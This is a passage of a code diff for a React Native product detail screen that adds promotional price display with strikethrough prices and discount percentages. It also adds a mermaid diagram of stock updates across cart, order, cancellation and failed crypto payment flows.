{selectedTier!.price.toFixed(2)}
</Text>
)}
<Text
style={[
styles.priceText,
hasPromo && { color: "#22c55e" },
]}
>
{selectedPrice.toFixed(2)}
{!hasPromo &&
selectedGrams &&
` pour ${selectedGrams}${product.unit || "g"}`}
</Text>
</View>
);
})()}
<View style={styles.descriptionCard}>
<Text style={styles.descriptionTitle}>Description</Text>
<Text style={styles.descriptionText}>
@@ -719,16 +753,32 @@ export default function ProductDetailScreen() {
{p.quantity}
{product.unit || "g"}
</Text>
<Text
style={[
styles.pickerOptionPrice,
selectedGrams === p.quantity && {
color: catColor,
},
]}
>
{p.price.toFixed(2)}
</Text>
{p.promo_price != null && p.promo_price < p.price ? (
<View style={{ flexDirection: "row", alignItems: "center", gap: 4 }}>
<Text
style={[
styles.pickerOptionPrice,
{ textDecorationLine: "line-through", opacity: 0.6 },
]}
>
{p.price.toFixed(2)}
</Text>
<Text style={[styles.pickerOptionPrice, { color: "#22c55e" }]}>
{p.promo_price.toFixed(2)} (-{p.promo_percent}%)
</Text>
</View>
) : (
<Text
style={[
styles.pickerOptionPrice,
selectedGrams === p.quantity && {
color: catColor,
},
]}
>
{p.price.toFixed(2)}
</Text>
)}
</View>
{selectedGrams === p.quantity && (
<View
@@ -34,7 +34,6 @@ const logoGrosSemi = require("../../../assets/logo-gros-semi.png");
const { width: SCREEN_WIDTH } = Dimensions.get("window");
const CARD_WIDTH = SCREEN_WIDTH - 48;
// Les catégories sont chargées dynamiquement depuis l'API
type Nav = NativeStackNavigationProp<ClientStackParamList>;
+17
View File
@@ -0,0 +1,17 @@
```mermaid
graph TD
A[Client ajoute au panier] -->|Décrémente stock| B[Stock -= quantité]
B --> C[Ajout au panier]
C -->|❌ Si échec| D[Stock déjà décrémenté!]
E[Client supprime du panier] -->|Transaction DB| F[Stock += quantité]
F --> G[Suppression du panier]
H[Client valide commande] --> I[Panier vidé]
I -->|Sans restaurer stock| J[Commande créée]
K[Client annule commande] -->|Transaction DB| L[Stock += quantité]
L --> M[Commande annulée]
N[Paiement crypto échoue] -->|Transaction DB| O[Stock += quantité]
```